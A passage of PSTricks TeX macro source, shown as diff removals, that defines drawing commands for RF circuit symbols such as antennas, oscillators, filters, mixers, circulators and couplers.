-}\ignorespaces} -% -\def\node(#1){\pscircle*(#1){2\pslinewidth}} -% -% -% -\define@boolkey[psset]{pst-circ}[Pst@]{inputarrow}[true]{} -\define@boolkey[psset]{pst-circ}[Pst@]{programmable}[true]{} -\define@boolkey[psset]{pst-circ}[Pst@]{connectingdot}[true]{} -% -\def\pst@Gstyle@old{old} \def\pst@Gstyle@ads{ads} \def\pst@Gstyle@triangle{triangle} -\def\pst@Astyle@two{two} \def\pst@Astyle@three{three} \def\pst@Astyle@triangle{triangle} -\def\pst@LOoutput@left{left} \def\pst@LOoutput@top{top} \def\pst@LOoutput@right{right} -\def\pst@LOoutput@bottom{bottom} \def\pst@LOstyle@crystal{crystal}\def\pst@Dstyle@lowpass{lowpass} -\def\pst@Dstyle@highpass{highpass}\def\pst@Dinput@right{right} \def\pst@Dinput@left{left} -\def\pst@Dstyle@multiplier{multiplier}\def\pst@Dstyle@divider{divider}\def\pst@FMvalue@value{0} -\def\pst@tripole@style@bottom{bottom}\def\pst@tripole@style@top{top}\def\pst@Tinput@left{left} -\def\pst@Tinput@right{right} \def\pst@tripole@style@circulator{circulator} -\def\pst@tripole@style@isolator{isolator}\def\pst@Tconfig@left{left}\def\pst@Tconfig@right{right} -\def\pst@Qstyle@directional{directional}\def\pst@Qstyle@hybrid{hybrid}\def\pst@Qinput@left{left} -\def\pst@Qinput@right{right} -\define@key[psset]{pst-circ}{groundstyle}[ads]{\def\psk@Gstyle{#1}} -\define@key[psset]{pst-circ}{antennastyle}[two]{\def\psk@Astyle{#1}} -\define@key[psset]{pst-circ}{output}[top]{\def\psk@LOoutput{#1}} -\define@key[psset]{pst-circ}{LOstyle}[]{\def\psk@LOstyle{#1}} -\define@key[psset]{pst-circ}{dipoleinput}[left]{\def\psk@Dinput{#1}} -\define@key[psset]{pst-circ}{value}[0]{\def\psk@FMvalue{#1}} -\define@key[psset]{pst-circ}{tripoleinput}[left]{\def\psk@Tinput{#1}} -\define@key[psset]{pst-circ}{tripoleconfig}[left]{\def\psk@Tconfig{#1}} -\define@key[psset]{pst-circ}{couplerstyle}[hxbrid]{\def\psk@Qstyle{#1}} -\define@key[psset]{pst-circ}{quadripoleinput}[left]{\def\psk@Qinput{#1}} -% -% -\psset{groundstyle=ads, antennastyle=two, output=top,% - dipoleinput=left, dipolestyle=multiplier, value=0,% - dipoleinput=left, inputarrow=false, tripoleinput=left,% - tripolestyle=bottom,tripoleconfig=left, quadripoleinput=left,% - couplerstyle=hybrid, connectingdot=true, LOstyle={} } -% -%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% -%%% monopole -%%% newground: groundstyle: (ads), old, triangle -%%% Antenna: antennastyle: (two), three, triangle -%%% Oscillator: oscioutput: (top), right, bottom, left, -%%% inputarrow: (false), true -%%% connectingdot: (true), false -%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% -%%% newground %%% -\def\newground{\@ifnextchar[{\pst@newground}{\pst@newground[]}} -\def\pst@newground[#1]{% - \@ifnextchar({\pst@newgroundi[#1]{0}}{\pst@newgroundi[#1]}% -} -\def\pst@newgroundi[#1]#2(#3){% - \psset{#1}% - \rput{#2}(#3){% - \ifx\psk@Gstyle\pst@Gstyle@ads - \psline[linewidth=1.5\pslinewidth]{c-c}(-0.3,-0.5)(0.3,-0.5) - \psline[linewidth=1.5\pslinewidth]{c-c}(-0.2,-0.6)(0.2,-0.6) - \psline[linewidth=1.5\pslinewidth]{c-c}(-0.1,-0.7)(0.1,-0.7) - \fi - \ifx\psk@Gstyle\pst@Gstyle@old - \psline[linewidth=1.5\pslinewidth](-0.5,-0.5)(0.5,-0.5) - \fi - \ifx\psk@Gstyle\pst@Gstyle@triangle - \pstriangle[linewidth=1.5\pslinewidth](0,-0.5)(0.4,-0.4) - \fi - \psline(0,0)(0,-0.5) - \ifPst@connectingdot - \pscircle*(0,0){2\pslinewidth} - \fi - } - \ignorespaces% -} -% -%%% antenna %%% -% -\def\antenna{\@ifnextchar[{\pst@antenna}{\pst@antenna[]}} -\def\pst@antenna[#1]{% - \@ifnextchar({\pst@antennai[#1]{0}}{\pst@antennai[#1]}% -} -\def\pst@antennai[#1]#2(#3){% - \psset{#1}% - \rput{#2}(#3){% - \ifx\psk@Astyle\pst@Astyle@two - \psline[linewidth=1.5\pslinewidth](0,.75)(-0.2,1.25) - \psline[linewidth=1.5\pslinewidth](0,.75)(0.2,1.25) - \fi - \ifx\psk@Astyle\pst@Astyle@three - \psline[linewidth=1.5\pslinewidth](0,.75)(-0.2,1.25) - \psline[linewidth=1.5\pslinewidth](0,.75)(0,1.25) - \psline[linewidth=1.5\pslinewidth](0,.75)(0.2,1.25) - \fi - \ifx\psk@Astyle\pst@Astyle@triangle - \pstriangle[linewidth=1.5\pslinewidth](0,1.25)(0.4,-0.5) - \fi - \psline(0,0)(0,.75) - } - \ignorespaces% -} -% -%%% oscillator %%% -% -\def\oscillator{\@ifnextchar[{\pst@oscillator}{\pst@oscillator[]}} -\def\pst@oscillator[#1]{% - \@ifnextchar({\pst@oscillatori[#1]{0}}{\pst@oscillatori[#1]}% -} -\def\pst@oscillatori[#1]#2(#3)#4#5{% - \psset{#1}% - \rput{#2}(#3){% - \pscircle[#5,linewidth=1.5\pslinewidth](0,0){0.5} - \ifx\psk@LOstyle\pst@LOstyle@crystal - \psline(-0.2,-0.35)(-0.2,0.35) - \psframe(-0.15,-0.3)(0.15,0.3) - \psline(0.2,-0.35)(0.2,0.35) - \else - \pscurve[linewidth=1.5\pslinewidth]{c-c}(-0.3,0.000)(-0.225,0.088375)(-0.15,0.1250)(-0.075,0.088375)% - (0,0.000)(0.075,-0.088375)(0.15,-0.125)(0.225,-0.088375)(0.3,0.000) - \fi - \ifx\psk@LOoutput\pst@LOoutput@left - \pst@getcoor{#3}\pst@tempa - \pnode(!% - \pst@tempa /Y1 exch \pst@number\psyunit div def - /X1 exch \pst@number\psxunit div def - /XC X1 def - /YC Y1 -0.6 add def - XC YC){C@} - \rput[t]{#2}(C@){#4} - \ifPst@inputarrow - \psline[arrows=->,arrowinset=0](-0.5,0)(-1,0) - \else - \psline(-0.5,0)(-1,0) - \fi - \fi - \ifx\psk@LOoutput\pst@LOoutput@top - \pst@getcoor{#3}\pst@tempa - \pnode(!% - \pst@tempa /Y1 exch \pst@number\psyunit div def - /X1 exch \pst@number\psxunit div def - /XC X1 def - /YC Y1 -0.6 add def - XC YC){C@} - \rput[t]{#2}(C@){#4} - \ifPst@inputarrow - \psline[arrows=->,arrowinset=0](0,0.5)(0,1) - \else - \psline(0,0.5)(0,1) - \fi - \fi - \ifx\psk@LOoutput\pst@LOoutput@right - \pst@getcoor{#3}\pst@tempa - \pnode(!% - \pst@tempa /Y1 exch \pst@number\psyunit div def - /X1 exch \pst@number\psxunit div def - /XC X1 def - /YC Y1 -0.6 add def - XC YC){C@} - \rput[t]{#2}(C@){#4} - \ifPst@inputarrow - \psline[arrows=->,arrowinset=0](0.5,0)(1,0) - \else - \psline(0.5,0)(1,0) - \fi - \fi - \ifx\psk@LOoutput\pst@LOoutput@bottom - \pst@getcoor{#3}\pst@tempa - \pnode(!% - \pst@tempa /Y1 exch \pst@number\psyunit div def - /X1 exch \pst@number\psxunit div def - /XC X1 def - /YC Y1 0.6 add def - XC YC){C@} - \rput[b]{#2}(C@){#4} - \ifPst@inputarrow - \psline[arrows=->,arrowinset=0](0,-0.5)(0,-1) - \else - \psline(0,-0.5)(0,-1) - \fi - \fi - } - \ignorespaces% -} -% -%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% -%%% Dipole -%%% filtre: dipolestyle: (bandpass), lowpass, highpass -%%% inputarrow: (false), true -%%% dipoleinput: (left), right -%%% isolator: dipoleinput: (left), right -%%% inputarrow: (false), true -%%% freqmult: dipolestyle: (multiplier), divider, -%%% value: (N), integer -%%% programmable: (false) true -%%% inputarrow: (false), true -%%% dipoleinput: (left), right -%%% phaseshifter: -%%% inputarrow: (false), true -%%% dipoleinput: (left), right -%%% vco: -%%% inputarrow: (false), true -%%% dipoleinput: (left), right -%%% amplifier: -%%% inputarrow: (false), true -%%% dipoleinput: (left), right -%%% detector: -%%% inputarrow: (false), true -%%% dipoleinput: (left), right -%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% -%%% FILTER %%% -% -\def\filter{\@ifnextchar[{\pst@filter}{\pst@filter[]}} -% -\def\pst@filter[#1](#2)(#3)#4{{% - \pst@draw@dipole{#1}{#2}{#3}{#4}\pst@draw@filter% - }\ignorespaces} -% -\def\pst@multidipole@filter{\@ifnextchar[{\pst@multidipole@filter@}% -{\pst@multidipole@filter@[]}} -% -\def\pst@multidipole@filter@[#1]#2{% - \expandafter\def\csname pst@tmp@\number\pst@count@iii\endcsname{#2}% - {\psset{#1}% - \ifPst@parallel\aftergroup\advance\aftergroup\pst@count@i\aftergroup\m@ne\fi}% - \pst@count@ii=\pst@count@i% - \advance\pst@count@ii\@ne% - \toks0\expandafter{\pst@multidipole@output}% - \edef\pst@multidipole@output{% - \the\toks0% - \pst@multidipole@def@coor% - \noexpand\filter[#1]% - (! X@\the\pst@count@i\space Y@\the\pst@count@i)% - (! X@\the\pst@count@ii\space Y@\the\pst@count@ii)% - {\noexpand\csname pst@tmp@\number\pst@count@iii\endcsname}% - }% - \pst@multidipole@ -} -% -\def\pst@draw@filter{% - \pnode(-0.5,0){dipole@1} - \pnode(0.5,0){dipole@2} - \psframe[linewidth=1.5\pslinewidth](-0.5,-0.5)(0.5,0.5) - \pscurve[linewidth=1.5\pslinewidth]{c-c}(-0.4,0.250)(-0.2,0.3750)(0,0.250)(0.2,0.1250)(0.4,0.250) - \pscurve[linewidth=1.5\pslinewidth]{c-c}(-0.4,0.000)(-0.2,0.1250)(0,0.000)(0.2,-0.125)(0.4,0.000) - \pscurve[linewidth=1.5\pslinewidth]{c-c}(-0.4,-0.25)(-0.2,-0.125)(0,-0.25)(0.2,-0.375)(0.4,-0.25) -% \psline{c-c}(-0.1,0.2)(0.1,0.3) - \ifx\psk@Dstyle\pst@Dstyle@lowpass - \psline[fillstyle=none]{c-c}(-0.1,0.2)(0.1,0.3) - \psline[fillstyle=none]{c-c}(-0.1,-0.05)(0.1,0.05) - \else - \ifx\psk@Dstyle\pst@Dstyle@highpass - \psline[fillstyle=none]{c-c}(-0.1,-0.3)(0.1,-0.2) - \psline[fillstyle=none]{c-c}(-0.1,-0.05)(0.1,0.05) - \else - \psline[fillstyle=none]{c-c}(-0.1,0.2)(0.1,0.3) - \psline[fillstyle=none]{c-c}(-0.1,-0.3)(0.1,-0.2) - \fi - \fi -} - -%%% ISOLATOR %%% -% -\def\isolator{\@ifnextchar[{\pst@isolator}{\pst@isolator[]}} -% -\def\pst@isolator[#1](#2)(#3)#4{{% - \pst@draw@dipole{#1}{#2}{#3}{#4}\pst@draw@isolator% - }\ignorespaces} -% -\def\pst@multidipole@isolator{\@ifnextchar[{\pst@multidipole@isolator@}% -{\pst@multidipole@isolator@[]}} -% -\def\pst@multidipole@isolator@[#1]#2{% - \expandafter\def\csname pst@tmp@\number\pst@count@iii\endcsname{#2}% - {\psset{#1}% - \ifPst@parallel\aftergroup\advance\aftergroup\pst@count@i\aftergroup\m@ne\fi}% - \pst@count@ii=\pst@count@i% - \advance\pst@count@ii\@ne% - \toks0\expandafter{\pst@multidipole@output}% - \edef\pst@multidipole@output{% - \the\toks0% - \pst@multidipole@def@coor% - \noexpand\isolator[#1]% - (! X@\the\pst@count@i\space Y@\the\pst@count@i)% - (! X@\the\pst@count@ii\space Y@\the\pst@count@ii)% - {\noexpand\csname pst@tmp@\number\pst@count@iii\endcsname}% - }% - \pst@multidipole@ -} -% -\def\pst@draw@isolator{% - \pnode(-0.5,0){dipole@1} - \pnode(0.5,0){dipole@2} - \psframe[linewidth=1.5\pslinewidth](-0.5,-0.5)(0.5,0.5) - \ifx\psk@Dinput\pst@Dinput@right - \psline[fillstyle=none,linewidth=1.5\pslinewidth,arrowinset=0]{<-}(-0.4,0)(0.4,0) - \else - \psline[fillstyle=none,linewidth=1.5\pslinewidth,arrowinset=0]{->}(-0.4,0)(0.4,0) - \fi -} -% -%%% Frequency Multiplier or Divider %%% -\def\freqmult{\@ifnextchar[{\pst@freqmult}{\pst@freqmult[]}} -% -\def\pst@freqmult[#1](#2)(#3)#4{{% - \pst@draw@dipole{#1}{#2}{#3}{#4}\pst@draw@freqmult% - }\ignorespaces} -% -\def\pst@multidipole@freqmult{\@ifnextchar[{\pst@multidipole@freqmult@}% -{\pst@multidipole@freqmult@[]}} -% -\def\pst@multidipole@freqmult@[#1]#2{% - \expandafter\def\csname pst@tmp@\number\pst@count@iii\endcsname{#2}% - {\psset{#1}% - \ifPst@parallel\aftergroup\advance\aftergroup\pst@count@i\aftergroup\m@ne\fi}% - \pst@count@ii=\pst@count@i% - \advance\pst@count@ii\@ne% - \toks0\expandafter{\pst@multidipole@output}% - \edef\pst@multidipole@output{% - \the\toks0% - \pst@multidipole@def@coor% - \noexpand\freqmult[#1]% - (! X@\the\pst@count@i\space Y@\the\pst@count@i)% - (! X@\the\pst@count@ii\space Y@\the\pst@count@ii)% - {\noexpand\csname pst@tmp@\number\pst@count@iii\endcsname}% - }% - \pst@multidipole@ -} -% -\def\pst@draw@freqmult{% - \pnode(-0.5,0){dipole@1} - \pnode(0.5,0){dipole@2} - \psframe[linewidth=1.5\pslinewidth](-0.5,-0.5)(0.5,0.5) - \ifPst@programmable% - \psline[fillstyle=none](-0.4,-0.75)(-0.4,-0.5) - \psline[fillstyle=none](-0.2,-0.75)(-0.2,-0.5) - \psline(0,-0.75)(0,-0.5) - \psline[fillstyle=none](0.2,-0.75)(0.2,-0.5) - \psline[fillstyle=none](0.4,-0.75)(0.4,-0.5) - \ifx\psk@Dstyle\pst@Dstyle@divider - \rput(0,0){$\div\textrm{N}$} - \else - \rput(0,0){$\times\textrm{N}$} - \fi - \else - \ifx\psk@FMvalue\pst@FMvalue@value - \ifx\psk@Dstyle\pst@Dstyle@divider - \rput(0,0){$\div\textrm{N}$} - \else - \rput(0,0){$\times\textrm{N}$} - \fi - \else - \ifx\psk@Dstyle\pst@Dstyle@divider - \rput(0,0){$\div\textrm{\psk@FMvalue}$} - \else - \rput(0,0){$\times\textrm{\psk@FMvalue}$} - \fi - \fi - \fi% -} -% -%%% phaseshifter -\def\phaseshifter{\@ifnextchar[{\pst@phaseshifter}{\pst@phaseshifter[]}} -% -\def\pst@phaseshifter[#1](#2)(#3)#4{{% - \pst@draw@dipole{#1}{#2}{#3}{#4}\pst@draw@phaseshifter% - }\ignorespaces} -% -\def\pst@multidipole@phaseshifter{\@ifnextchar[{\pst@multidipole@phaseshifter@}% -{\pst@multidipole@phaseshifter@[]}} -% -\def\pst@multidipole@phaseshifter@[#1]#2{% - \expandafter\def\csname pst@tmp@\number\pst@count@iii\endcsname{#2}% - {\psset{#1}% - \ifPst@parallel\aftergroup\advance\aftergroup\pst@count@i\aftergroup\m@ne\fi}% - \pst@count@ii=\pst@count@i% - \advance\pst@count@ii\@ne% - \toks0\expandafter{\pst@multidipole@output}% - \edef\pst@multidipole@output{% - \the\toks0% - \pst@multidipole@def@coor% - \noexpand\phaseshifter[#1]% - (! X@\the\pst@count@i\space Y@\the\pst@count@i)% - (! X@\the\pst@count@ii\space Y@\the\pst@count@ii)% - {\noexpand\csname pst@tmp@\number\pst@count@iii\endcsname}% - }% - \pst@multidipole@ -} -% -\def\pst@draw@phaseshifter{% - \pnode(-0.4,0){dipole@1} - \pnode(0.4,0){dipole@2} - \pscircle[linewidth=1.5\pslinewidth](0,0){0.4} - \psline[fillstyle=none,linewidth=1.5\pslinewidth,arrowinset=0]{->}(-0.5,-0.5)(0.5,0.5) -} -% -%%% VCO -\def\vco{\@ifnextchar[{\pst@vco}{\pst@vco[]}} -% -\def\pst@vco[#1](#2)(#3)#4{{% - \pst@draw@dipole{#1}{#2}{#3}{#4}\pst@draw@vco% - }\ignorespaces} -% -\def\pst@multidipole@vco{\@ifnextchar[{\pst@multidipole@vco@}% -{\pst@multidipole@vco@[]}} -% -\def\pst@multidipole@vco@[#1]#2{% - \expandafter\def\csname pst@tmp@\number\pst@count@iii\endcsname{#2}% - {\psset{#1}% - \ifPst@parallel\aftergroup\advance\aftergroup\pst@count@i\aftergroup\m@ne\fi}% - \pst@count@ii=\pst@count@i% - \advance\pst@count@ii\@ne% - \toks0\expandafter{\pst@multidipole@output}% - \edef\pst@multidipole@output{% - \the\toks0% - \pst@multidipole@def@coor% - \noexpand\vco[#1]% - (! X@\the\pst@count@i\space Y@\the\pst@count@i)% - (! X@\the\pst@count@ii\space Y@\the\pst@count@ii)% - {\noexpand\csname pst@tmp@\number\pst@count@iii\endcsname}% - }% - \pst@multidipole@ -} -% -\def\pst@draw@vco{% - \pnode(-0.5,0){dipole@1} - \pnode(0.5,0){dipole@2} - \pscircle[linewidth=1.5\pslinewidth](0,0){0.5} - \pscurve[linewidth=1.5\pslinewidth]{c-c}(-0.3,0.000)(-0.225,0.088375)(-0.15,0.1250)(-0.075,0.088375)% - (0,0.000)(0.075,-0.088375)(0.15,-0.125)(0.225,-0.088375)(0.3,0.000) -} -% -%%% amplifier %%% -% -\def\amplifier{\@ifnextchar[{\pst@amplifier}{\pst@amplifier[]}} -% -\def\pst@amplifier[#1](#2)(#3)#4{{% - \pst@draw@dipole{#1}{#2}{#3}{#4}\pst@draw@amplifier% - }\ignorespaces} -% -\def\pst@multidipole@amplifier{\@ifnextchar[{\pst@multidipole@amplifier@}% -{\pst@multidipole@amplifier@[]}} -% -\def\pst@multidipole@amplifier@[#1]#2{% - \expandafter\def\csname pst@tmp@\number\pst@count@iii\endcsname{#2}% - {\psset{#1}% - \ifPst@parallel\aftergroup\advance\aftergroup\pst@count@i\aftergroup\m@ne\fi}% - \pst@count@ii=\pst@count@i% - \advance\pst@count@ii\@ne% - \toks0\expandafter{\pst@multidipole@output}% - \edef\pst@multidipole@output{% - \the\toks0% - \pst@multidipole@def@coor% - \noexpand\amplifier[#1]% - (! X@\the\pst@count@i\space Y@\the\pst@count@i)% - (! X@\the\pst@count@ii\space Y@\the\pst@count@ii)% - {\noexpand\csname pst@tmp@\number\pst@count@iii\endcsname}% - }% - \pst@multidipole@ -} -% -\def\pst@draw@amplifier{% - \pnode(-0.433,0){dipole@1} - \pnode(0.433,0){dipole@2} - \ifx\psk@Dinput\pst@Dinput@right - \pstriangle[gangle=90,linewidth=1.5\pslinewidth](0.433,0)(1,0.866) - \else - \pstriangle[gangle=-90,linewidth=1.5\pslinewidth](-0.433,0)(1,0.866) - \fi -} -% -%%% detector %%% -% -\def\detector{\@ifnextchar[{\pst@detector}{\pst@detector[]}} -% -\def\pst@detector[#1](#2)(#3)#4{{% - \pst@draw@dipole{#1}{#2}{#3}{#4}\pst@draw@detector% - }\ignorespaces} -% -\def\pst@multidipole@detector{\@ifnextchar[{\pst@multidipole@detector@}% -{\pst@multidipole@detector@[]}} -% -\def\pst@multidipole@detector@[#1]#2{% - \expandafter\def\csname pst@tmp@\number\pst@count@iii\endcsname{#2}% - {\psset{#1}% - \ifPst@parallel\aftergroup\advance\aftergroup\pst@count@i\aftergroup\m@ne\fi}% - \pst@count@ii=\pst@count@i% - \advance\pst@count@ii\@ne% - \toks0\expandafter{\pst@multidipole@output}% - \edef\pst@multidipole@output{% - \the\toks0% - \pst@multidipole@def@coor% - \noexpand\detector[#1]% - (! X@\the\pst@count@i\space Y@\the\pst@count@i)% - (! X@\the\pst@count@ii\space Y@\the\pst@count@ii)% - {\noexpand\csname pst@tmp@\number\pst@count@iii\endcsname}% - }% - \pst@multidipole@ -} -% -\def\pst@draw@detector{% - \pnode(-0.5,0){dipole@1} - \psline[fillstyle=none](-0.5,0)(-0.2165,0) - \pnode(0.5,0){dipole@2} - \psline[fillstyle=none](0.5,0)(0.2165,0) - \psframe[linewidth=1.5\pslinewidth](-0.5,-0.5)(0.5,0.5) - \ifx\psk@Dinput\pst@Dinput@right - \pstriangle[gangle=90,linewidth=1.5\pslinewidth,fillstyle=none](0.2165,0)(0.5,0.433) - \psline[fillstyle=none,linewidth=1.5\pslinewidth](-0.2165,-0.25)(-0.2165,0.25) - \else - \pstriangle[gangle=-90,linewidth=1.5\pslinewidth,fillstyle=none](-0.2165,0)(0.5,0.433) - \psline[fillstyle=none,linewidth=1.5\pslinewidth](0.2165,-0.25)(0.2165,0.25) - \fi -} -% -%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% -%%% Tripole -%%% mixer: tripolestyle:(bottom), top -%%% inputarrow: (false) | true -%%% tripoleinput: (left) | right -%%% Circulator: tripolestyle=(circulator), isolator -%%% tripoleconfig: (left) | right -%%% inputarrow: (false) | true -%%% tripoleinput: (left) | right -%%% AGC: tripoleinput=(left)|right -%%% inputarrow: (false) | true -%%% tripoleinput: (left) | right -%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% -% -\def\mixer{\pst@object{mixer}} -\def\mixer@i(#1)(#2)(#3)#4#5{% - \addbefore@par{dimen=middle}% - \begin@ClosedObj - \pst@getcoor{#1}\pst@tempa - \pst@getcoor{#2}\pst@tempb - \pst@getcoor{#3}\pst@tempc - \pnode(!% - \pst@tempa /Y1 exch \pst@number\psyunit div def - /X1 exch \pst@number\psxunit div def - \pst@tempb /Y2 exch \pst@number\psyunit div def - /X2 exch \pst@number\psxunit div def - \pst@tempc /Y3 exch \pst@number\psyunit div def - /X3 exch \pst@number\psxunit div def - /XC X1 X2 add 2 div def - /YC Y2 def - XC YC){C@} - \rput(C@){\pst@draw@mixer{#3}{#4}{#5}} - \ifx\psk@Tinput\pst@Tinput@left% - \ifPst@inputarrow - \ncangle[arrows=->,arrowinset=0,arm=0.5,angleB=180]{#1}{Tport@left} - \else - \ncangle[arrows=-,arm=0.5,angleB=180]{#1}{Tport@left} - \fi - \ncangle[arrows=-,arm=0.5,angleB=0]{#2}{Tport@right} - \else - \ifPst@inputarrow - \ncangle[arrows=<-,arrowinset=0,arm=0.5,angleB=180]{Tport@right}{#2} - \else - \ncangle[arrows=-,arm=0.5,angleB=180]{Tport@right}{#2} - \fi - \ncangle[arrows=-,arm=0.5,angleB=180]{#1}{Tport@left} - \fi - \pcline[linestyle=none](#1)(#2)% for the endarrows - \pcline[linestyle=none](#2)(#3)% for the endarrows - \end@ClosedObj - \ignorespaces% -} -\def\pst@draw@mixer#1#2#3{% - \pscircle[#3,linewidth=1.5\pslinewidth](0,0){0.5} - \psline[linewidth=1.5\pslinewidth](-0.3535,-0.3535)(0.3535,0.3535) - \psline[linewidth=1.5\pslinewidth](-0.3535,0.3535)(0.3535,-0.3535) - \pnode(-0.5,0){Tport@left}% - \pnode(0.5,0){Tport@right}% - \ifx\psk@tripole@style\pst@tripole@style@top% - \rput[t](0,-0.6){#2} - \pnode(0,0.5){Tport@center} - \ifPst@inputarrow - \ncangle[arrows=->,arrowinset=0,arm=0.5,angleB=90]{#1}{Tport@center} - \else - \ncangle[arrows=-,arm=0.5,angleB=90]{#1}{Tport@center} - \fi - \else - \rput[b](0,0.6){#2} - \pnode(0,-0.5){Tport@center} - \ifPst@inputarrow - \ncangle[arrows=->,arrowinset=0,arm=0.5,angleB=-90]{#1}{Tport@center} - \else - \ncangle[arrows=-,arm=0.5,angleB=-90]{#1}{Tport@center} - \fi% - \fi% -} -% -%%% Circulator -% -\def\circulator{\pst@object{circulator}} -\def\circulator@i#1(#2)(#3)(#4)#5#6{% - \addbefore@par{dimen=middle}% - \begin@ClosedObj - \pst@getcoor{#2}\pst@tempa - \pst@getcoor{#3}\pst@tempb - \pst@getcoor{#4}\pst@tempc - \pnode(!% - \pst@tempa /Y1 exch \pst@number\psyunit div def - /X1 exch \pst@number\psxunit div def - \pst@tempb /Y2 exch \pst@number\psyunit div def - /X2 exch \pst@number\psxunit div def - \pst@tempc /Y3 exch \pst@number\psyunit div def - /X3 exch \pst@number\psxunit div def - /XC X1 X2 add 2 div def - /YC Y1 Y2 add 2 div def - XC YC){C@} - \rput{#1}(C@){\pst@draw@circulator{#4}{#5}{#6}} - \nput{! 90 #1 add}{Tport@label}{#5} - \ifPst@inputarrow - \ncline[arrows=->,arrowinset=0]{#2}{Tport@input} %,arm=0.5,angleB=180 - \else - \ncline[arrows=-]{#2}{Tport@input} - \fi - \ncline[arrows=-]{#3}{Tport@output} %,arm=0.5,angleB=0 - \pcline[linestyle=none](#2)(#3)% for the endarrows - \pcline[linestyle=none](#3)(#4)% for the endarrows - \end@ClosedObj - \ignorespaces% -} -\def\pst@draw@circulator#1#2#3{% - \pscircle[#3,linewidth=1.5\pslinewidth](0,0){0.5}% - \pnode(0,0.6){Tport@label}% - \ifx\psk@Tconfig\pst@Tconfig@left% - \psarc[linewidth=1.5\pslinewidth,arrowinset=0]{<-}{0.35}{15}{155} - \pnode(-0.5,0){Tport@input} - \pnode(0.5,0){Tport@output} - \else - \psarc[linewidth=1.5\pslinewidth,arrowinset=0]{->}{0.35}{25}{165} - \pnode(-0.5,0){Tport@output} - \pnode(0.5,0){Tport@input} - \fi% - \ifx\psk@tripole@style\pst@tripole@style@isolator% - \psline(0,-0.5)(0,-0.95)% - \multips{0}(-0.225,-1)(0.1,0){5}% - {\psline[arrows=-,linewidth=1.5\pslinewidth](0,0)(0.025,0.05)(0.075,-0.05)(0.1,0)}% - \else - \pnode(0,-0.5){Tport@center}% - \ncline[arrows=-]{#1}{Tport@center} - \fi% -} -% -%%% AGC -\def\agc{\pst@object{agc}} -\def\agc@i(#1)(#2)(#3)#4#5{% - \addbefore@par{dimen=middle}% - \begin@ClosedObj - \pst@getcoor{#1}\pst@tempa - \pst@getcoor{#2}\pst@tempb - \pst@getcoor{#3}\pst@tempc - \pnode(!% - \pst@tempa /Y1 exch \pst@number\psyunit div def - /X1 exch \pst@number\psxunit div def - \pst@tempb /Y2 exch \pst@number\psyunit div def - /X2 exch \pst@number\psxunit div def - \pst@tempc /Y3 exch \pst@number\psyunit div def - /X3 exch \pst@number\psxunit div def - /XC X1 X2 add 2 div def - /YC Y2 def - XC YC){C@} - \rput(C@){\pst@draw@agc{#1}{#2}{#4}{#5}} - \ncangle[arrows=-,arm=0.5,angleB=-90]{#3}{Tport@center} - \pcline[linestyle=none](#1)(#2)% for the endarrows - \pcline[linestyle=none](#2)(#3)% for the endarrows - \end@ClosedObj - \ignorespaces% -} -\def\pst@draw@agc#1#2#3#4{% - \pnode(-0.433,0){Tport@left} - \pnode(0.433,0){Tport@right} - \pnode(0,-0.5){Tport@center} - \rput[b](0,0.6){#3} - \psline[arrows=->,arrowinset=0](0,-0.5)(0,-0.25) - \ifx\psk@Tinput\pst@Tinput@left% - \pstriangle[#4,gangle=-90,linewidth=1.5\pslinewidth](-0.433,0)(1,0.866) - \psline[linewidth=1.5\pslinewidth,arrows=->,arrowinset=0](-0.55,-0.5)(0.25,0.5) - \ifPst@inputarrow - \ncangle[arrows=->,arrowinset=0,arm=0.5,angleB=180]{#1}{Tport@left} - \else - \ncangle[arrows=-,arm=0.5,angleB=180]{#1}{Tport@left} - \fi - \ncangle[arrows=-,arm=0.5,angleB=0]{#2}{Tport@right} - \else - \pstriangle[#4,gangle=90,linewidth=1.5\pslinewidth](0.433,0)(1,0.866) - \psline[linewidth=1.5\pslinewidth,arrows=->,arrowinset=0](0.55,-0.5)(-0.25,0.5) - \ifPst@inputarrow - \ncangle[arrows=<-,arrowinset=0,arm=0.5,angleB=180]{Tport@right}{#2} - \else - \ncangle[arrows=-,arm=0.5,angleB=180]{Tport@right}{#2} - \fi - \ncangle[arrows=-,arm=0.5,angleB=180]{#1}{Tport@left}% - \fi% -} -%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% -%%% Quadripole -%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% -%%% Coupler %%% -\def\coupler{\pst@object{coupler}} -\def\coupler@i(#1)(#2)(#3)(#4)#5#6{% - \addbefore@par{dimen=middle,arm=0}% - \begin@ClosedObj% - \pst@getcoor{#1}\pst@tempa - \pst@getcoor{#2}\pst@tempb - \pst@getcoor{#3}\pst@tempc - \pst@getcoor{#4}\pst@tempd - \pnode(!% - \pst@tempa /Y1 exch \pst@number\psyunit div def - /X1 exch \pst@number\psxunit div def - \pst@tempb /Y2 exch \pst@number\psyunit div def - /X2 exch \pst@number\psxunit div def - \pst@tempc /Y3 exch \pst@number\psyunit div def - /X3 exch \pst@number\psxunit div def - \pst@tempc /Y4 exch \pst@number\psyunit div def - /X4 exch \pst@number\psxunit div def - /XC X1 X2 lt {X2} {X1} ifelse X3 X4 lt {X3} {X4} ifelse add 2 div def - /YC Y1 -0.4 add def - XC YC){C@} - \rput(C@){\pst@draw@coupler{#6}} - \ncangle[arrows=-,angleA=0,angleB=-180]{#1}{inup@} - \ncangle[arrows=-,angleA=180,angleB=0]{#3}{outup@} - \ifx\psk@Qinput\pst@Qinput@left% - \ifx\psk@Qstyle\pst@Qstyle@hybrid - 